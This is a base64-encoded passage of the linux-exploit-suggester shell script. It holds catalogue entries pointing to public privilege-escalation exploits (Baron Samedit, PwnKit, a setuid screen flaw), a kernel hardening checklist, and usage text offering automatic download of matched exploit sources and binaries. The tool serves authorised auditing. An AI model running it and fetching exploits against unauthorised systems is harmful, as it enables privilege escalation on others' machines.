8MjAsIGRlYmlhbj05fDEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL3dvcmF3aXQvQ1ZFLTIwMjEtMzE1Ni96aXAvbWFpbgphdXRob3I6IHdvcmF3aXQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTYxOF0ke3R4dHJzdH0gc2V0dWlkIHNjcmVlbiB2NC41LjAgTFBFClJlcXM6IHBrZz1zY3JlZW4sdmVyPT00LjUuMApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNy9xMS8xODQKZXhwbG9pdC1kYjogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDExNTQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtNDAzNF0ke3R4dHJzdH0gUHduS2l0ClJlcXM6IHBrZz1wb2xraXR8cG9saWN5a2l0LTEsdmVyPD0wLjEwNS0zMQpUYWdzOiB1YnVudHU9MTB8MTF8MTJ8MTN8MTR8MTV8MTZ8MTd8MTh8MTl8MjB8MjEsZGViaWFuPTd8OHw5fDEwfDExLGZlZG9yYSxtYW5qYXJvClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjIvMDEvMjUvY3ZlLTIwMjEtNDAzNC9wd25raXQudHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9iZXJkYXYvQ1ZFLTIwMjEtNDAzNC96aXAvbWFpbgphdXRob3I6IGJlcmRhdgpFT0YKKQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgc2VjdXJpdHkgcmVsYXRlZCBIVy9rZXJuZWwgZmVhdHVyZXMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBNYWlubGluZSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogS2VybmVsIFBhZ2UgVGFibGUgSXNvbGF0aW9uIChQVEkpIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTQuMTUKZW5hYmxlZDogY21kOmdyZXAgLUVxaSAnXHNwdGknIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wdGkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3Igc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVZFX1NUQUNLUFJPVEVDVE9SPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdGFja3Byb3RlY3Rvci1yZWd1bGFyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHQ0Mgc3RhY2sgcHJvdGVjdG9yIFNUUk9ORyBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX1NUQUNLUFJPVEVDVE9SX1NUUk9ORz15LHZlcj49My4xNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXN0cm9uZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTG93IGFkZHJlc3Mgc3BhY2UgdG8gcHJvdGVjdCBmcm9tIHVzZXIgYWxsb2NhdGlvbgphdmFpbGFibGU6IENPTkZJR19ERUZBVUxUX01NQVBfTUlOX0FERFI9WzAtOV0rCmVuYWJsZWQ6IHN5c2N0bDp2bS5tbWFwX21pbl9hZGRyIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvbW1hcF9taW5fYWRkci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUHJldmVudCB1c2VycyBmcm9tIHVzaW5nIHB0cmFjZSB0byBleGFtaW5lIHRoZSBtZW1vcnkgYW5kIHN0YXRlIG9mIHRoZWlyIHByb2Nlc3NlcwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ZQU1BPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC55YW1hLnB0cmFjZV9zY29wZSE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3lhbWFfcHRyYWNlX3Njb3BlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCB1bnByaXZpbGVnZWQgYWNjZXNzIHRvIGtlcm5lbCBzeXNsb2cKYXZhaWxhYmxlOiBDT05GSUdfU0VDVVJJVFlfRE1FU0dfUkVTVFJJQ1Q9eSx2ZXI+PTIuNi4zNwplbmFibGVkOiBzeXNjdGw6a2VybmVsLmRtZXNnX3Jlc3RyaWN0IT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZG1lc2dfcmVzdHJpY3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJhbmRvbWl6ZSB0aGUgYWRkcmVzcyBvZiB0aGUga2VybmVsIGltYWdlIChLQVNMUikKYXZhaWxhYmxlOiBDT05GSUdfUkFORE9NSVpFX0JBU0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2thc2xyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5lZCB1c2VyIGNvcHkgc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVJERU5FRF9VU0VSQ09QWT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvaGFyZGVuZWRfdXNlcmNvcHkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IE1ha2Uga2VybmVsIHRleHQgYW5kIHJvZGF0YSByZWFkLW9ubHkKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0tFUk5FTF9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9rZXJuZWxfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTZXQgbG9hZGFibGUga2VybmVsIG1vZHVsZSBkYXRhIGFzIE5YIGFuZCB0ZXh0IGFzIFJPCmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9NT0RVTEVfUldYPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfbW9kdWxlX3J3eC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQlVHKCkgY29uZGl0aW9ucyByZXBvcnRpbmcKYXZhaWxhYmxlOiBDT05GSUdfQlVHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFkZGl0aW9uYWwgJ2NyZWQnIHN0cnVjdCBjaGVja3MKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfQ1JFREVOVElBTFM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2NyZWRlbnRpYWxzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTYW5pdHkgY2hlY2tzIGZvciBub3RpZmllciBjYWxsIGNoYWlucwphdmFpbGFibGU6IENPTkZJR19ERUJVR19OT1RJRklFUlM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX25vdGlmaWVycy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRXh0ZW5kZWQgY2hlY2tzIGZvciBsaW5rZWQtbGlzdHMgd2Fsa2luZwphdmFpbGFibGU6IENPTkZJR19ERUJVR19MSVNUPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19saXN0Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3Mgb24gc2NhdHRlci1nYXRoZXIgdGFibGVzCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX1NHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19zZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIGZvciBkYXRhIHN0cnVjdHVyZSBjb3JydXB0aW9ucwphdmFpbGFibGU6IENPTkZJR19CVUdfT05fREFUQV9DT1JSVVBUSU9OPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWdfb25fZGF0YV9jb3JydXB0aW9uLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGEgc3RhY2sgb3ZlcnJ1biBvbiBjYWxscyB0byAnc2NoZWR1bGUnCmF2YWlsYWJsZTogQ09ORklHX1NDSEVEX1NUQUNLX0VORF9DSEVDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2NoZWRfc3RhY2tfZW5kX2NoZWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBGcmVlbGlzdCBvcmRlciByYW5kb21pemF0aW9uIG9uIG5ldyBwYWdlcyBjcmVhdGlvbgphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX1JBTkRPTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2xhYl9mcmVlbGlzdF9yYW5kb20ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG1ldGFkYXRhIGhhcmRlbmluZwphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X2hhcmRlbmVkLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBBbGxvY2F0b3IgdmFsaWRhdGlvbiBjaGVja2luZwphdmFpbGFibGU6IENPTkZJR19TTFVCX0RFQlVHX09OPXksY21kOiEgZ3JlcCAnc2x1Yl9kZWJ1Zz0tJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2x1Yl9kZWJ1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVmlydHVhbGx5LW1hcHBlZCBrZXJuZWwgc3RhY2tzIHdpdGggZ3VhcmQgcGFnZXMKYXZhaWxhYmxlOiBDT05GSUdfVk1BUF9TVEFDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvdm1hcF9zdGFjay5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFnZXMgcG9pc29uaW5nIGFmdGVyIGZyZWVfcGFnZXMoKSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX1BBR0VfUE9JU09OSU5HPXkKZW5hYmxlZDogY21kOiBncmVwICdwYWdlX3BvaXNvbj0xJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcGFnZV9wb2lzb25pbmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzaW5nICdyZWZjb3VudF90JyBpbnN0ZWFkIG9mICdhdG9taWNfdCcKYXZhaWxhYmxlOiBDT05GSUdfUkVGQ09VTlRfRlVMTD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcmVmY291bnRfZnVsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogSGFyZGVuaW5nIGNvbW1vbiBzdHIvbWVtIGZ1bmN0aW9ucyBhZ2FpbnN0IGJ1ZmZlciBvdmVyZmxvd3MKYXZhaWxhYmxlOiBDT05GSUdfRk9SVElGWV9TT1VSQ0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2ZvcnRpZnlfc291cmNlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgSS9PIGFjY2VzcyB0byAvZGV2L21lbQphdmFpbGFibGU6IENPTkZJR19JT19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9pb19zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBIYXJkd2FyZS1iYXNlZCBwcm90ZWN0aW9uIGZlYXR1cmVzOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEV4ZWN1dGlvbiBQcm90ZWN0aW9uIChTTUVQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjAKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtZXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtZXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cGVydmlzb3IgTW9kZSBBY2Nlc3MgUHJldmVudGlvbiAoU01BUCkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49My43CmVuYWJsZWQ6IGNtZDpncmVwIC1xaSBzbWFwIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbWFwLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiAzcmQgcGFydHkga2VybmVsIHByb3RlY3Rpb24gbWVjaGFuaXNtczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdyc2VjdXJpdHkKYXZhaWxhYmxlOiBDT05GSUdfR1JLRVJOU0VDPXkKZW5hYmxlZDogY21kOnRlc3QgLWMgL2Rldi9ncnNlYwpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFYCmF2YWlsYWJsZTogQ09ORklHX1BBWD15CmVuYWJsZWQ6IGNtZDp0ZXN0IC14IC9zYmluL3BheGN0bApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTGludXggS2VybmVsIFJ1bnRpbWUgR3VhcmQgKExLUkcpIGtlcm5lbCBtb2R1bGUKZW5hYmxlZDogY21kOnRlc3QgLWQgL3Byb2Mvc3lzL2xrcmcKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9sa3JnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBBdHRhY2sgU3VyZmFjZToKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzZXIgbmFtZXNwYWNlcyBmb3IgdW5wcml2aWxlZ2VkIGFjY291bnRzCmF2YWlsYWJsZTogQ09ORklHX1VTRVJfTlM9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy91c2VyX25zLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVbnByaXZpbGVnZWQgYWNjZXNzIHRvIGJwZigpIHN5c3RlbSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX0JQRl9TWVNDQUxMPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN5c2NhbGxzIGZpbHRlcmluZwphdmFpbGFibGU6IENPTkZJR19TRUNDT01QPXkKZW5hYmxlZDogY21kOmdyZXAgLWl3IFNlY2NvbXAgL3Byb2Mvc2VsZi9zdGF0dXMgfCBhd2sgJ3twcmludCBcJDJ9JwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2JwZl9zeXNjYWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBwb3J0IGZvciAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYva21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfREVWS01FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGV2a21lbS5tZApFT0YKKQoKCnZlcnNpb24oKSB7CiAgICBlY2hvICJsaW51eC1leHBsb2l0LXN1Z2dlc3RlciAiJFZFUlNJT04iLCBtemV0LCBodHRwczovL3otbGFicy5ldSwgTWFyY2ggMjAxOSIKfQoKdXNhZ2UoKSB7CiAgICBlY2hvICJMRVMgdmVyLiAkVkVSU0lPTiAoaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyKSBieSBAX216ZXRfIgogICAgZWNobwogICAgZWNobyAiVXNhZ2U6IGxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoIFtPUFRJT05TXSIKICAgIGVjaG8KICAgIGVjaG8gIiAtViB8IC0tdmVyc2lvbiAgICAgICAgICAgICAgIC0gcHJpbnQgdmVyc2lvbiBvZiB0aGlzIHNjcmlwdCIKICAgIGVjaG8gIiAtaCB8IC0taGVscCAgICAgICAgICAgICAgICAgIC0gcHJpbnQgdGhpcyBoZWxwIgogICAgZWNobyAiIC1rIHwgLS1rZXJuZWwgPHZlcnNpb24+ICAgICAgLSBwcm92aWRlIGtlcm5lbCB2ZXJzaW9uIgogICAgZWNobyAiIC11IHwgLS11bmFtZSA8c3RyaW5nPiAgICAgICAgLSBwcm92aWRlICd1bmFtZSAtYScgc3RyaW5nIgogICAgZWNobyAiIC0tc2tpcC1tb3JlLWNoZWNrcyAgICAgICAgICAgLSBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyAoa2VybmVsIGNvbmZpZywgc3lzY3RsKSB0byBkZXRlcm1pbmUgaWYgZXhwbG9pdCBpcyBhcHBsaWNhYmxlIgogICAgZWNobyAiIC0tc2tpcC1wa2ctdmVyc2lvbnMgICAgICAgICAgLSBza2lwIGNoZWNraW5nIGZvciBleGFjdCB1c2Vyc3BhY2UgcGFja2FnZSB2ZXJzaW9uIChoZWxwcyB0byBhdm9pZCBmYWxzZSBuZWdhdGl2ZXMpIgogICAgZWNobyAiIC1wIHwgLS1wa2dsaXN0LWZpbGUgPGZpbGU+ICAgLSBwcm92aWRlIGZpbGUgd2l0aCAnZHBrZyAtbCcgb3IgJ3JwbSAtcWEnIGNvbW1hbmQgb3V0cHV0IgogICAgZWNobyAiIC0tY3ZlbGlzdC1maWxlIDxmaWxlPiAgICAgICAgLSBwcm92aWRlIGZpbGUgd2l0aCBMaW51eCBrZXJuZWwgQ1ZFcyBsaXN0IgogICAgZWNobyAiIC0tY2hlY2tzZWMgICAgICAgICAgICAgICAgICAgLSBsaXN0IHNlY3VyaXR5IHJlbGF0ZWQgZmVhdHVyZXMgZm9yIHlvdXIgSFcva2VybmVsIgogICAgZWNobyAiIC1zIHwgLS1mZXRjaC1zb3VyY2VzICAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBzb3VyY2UgZm9yIG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtYiB8IC0tZmV0Y2gtYmluYXJpZXMgICAgICAgIC0gYXV0b21hdGljYWxseSBkb3dubG9hZHMgYmluYXJ5IGZvciBtYXRjaGVkIGV4cGxvaXQgaWYgYXZhaWxhYmxlIgogICAgZWNobyAiIC1mIHwgLS1mdWxsICAgICAgICAgICAgICAgICAgLSBzaG93IGZ1bGwgaW5mbyBhYm91dCBtYXRjaGVkIGV4cGxvaXQiCiAgICBlY2hvICIgLWcgfCAtLXNob3J0ICAgICAgICAgICAgICAgICAtIHNob3cgc2hvcnRlbiBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtLWtlcm5lbHNwYWNlLW9ubHkgICAgICAgICAgIC0gc2hvdyBvbmx5IGtlcm5lbCB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLS11c2Vyc3BhY2Utb25seSAgICAgICAgICAgICAtIHNob3cgb25seSB1c2Vyc3BhY2UgdnVsbmVyYWJpbGl0aWVzIgogICAgZWNobyAiIC1kIHwgLS1zaG93LWRvcyAgICAgICAgICAgICAgLSBzaG93IGFsc28gRG9TZXMgaW4gcmVzdWx0cyIKfQoKZXhpdFdpdGhFcnJNc2coKSB7CiAgICBlY2hvICIkMSIgMT4mMgogICAgZXhpdCAxCn0KCiMgZXh0cmFjdHMgYWxsIGluZm9ybWF0aW9uIGZyb20gb3V0cHV0IG9mICd1bmFtZSAtYScgY29tbWFuZApwYXJzZVVuYW1lKCkgewogICAgbG9jYWwgdW5hbWU9JDEKCiAgICBLRVJORUw9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJDN9JyB8IGN1dCAtZCAnLScgLWYgMSkKICAgIEtFUk5FTF9BTEw9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJDN9JykKICAgIEFSQ0g9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJChORi0xKX0nKQoKICAgIE9TPSIiCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnZGViJyAmJiBPUz0iZGViaWFuIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ3VidW50dScgJiYgT1M9InVidW50dSIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLUFSQ0gnICYmIE9TPSJhcmNoIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtZGVlcGluJyAmJiBPUz0iZGVlcGluIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtTUFOSkFSTycgJiYgT1M9Im1hbmphcm8iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC5mYycgJiYgT1M9ImZlZG9yYSIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmVsJyAmJiBPUz0iUkhFTCIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLm1nYScgJiYgT1M9Im1hZ2VpYSIKCiAgICAjICd1bmFtZSAtYScgb3V0cHV0IGRvZXNuJ3QgY29udGFpbiBkaXN0cmlidXRpb24gbnVtYmVyIChhdCBsZWFzdCBub3QgaW4gY2FzZSBvZiBhbGwgZGlzdHJvcykKfQoKZ2V0UGtnTGlzdCgpIHsKICAgIGxvY2FsIGRpc3Rybz0kMQogICAgbG9jYWwgcGtnbGlzdF9maWxlPSQyCiAgICAKICAgICMgdGFrZSBwYWNrYWdlIGxpc3RpbmcgZnJvbSBwcm92aWRlZCBmaWxlICYgZGV0ZWN0IGlmIGl0J3MgJ3JwbSAtcWEnIGxpc3Rpbmcgb3IgJ2Rwa2cgLWwnIG9yICdwYWNtYW4gLVEnIGxpc3Rpbmcgb2Ygbm90IHJlY29nbml6ZWQgbGlzdGluZwogICAgaWYgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIC1hI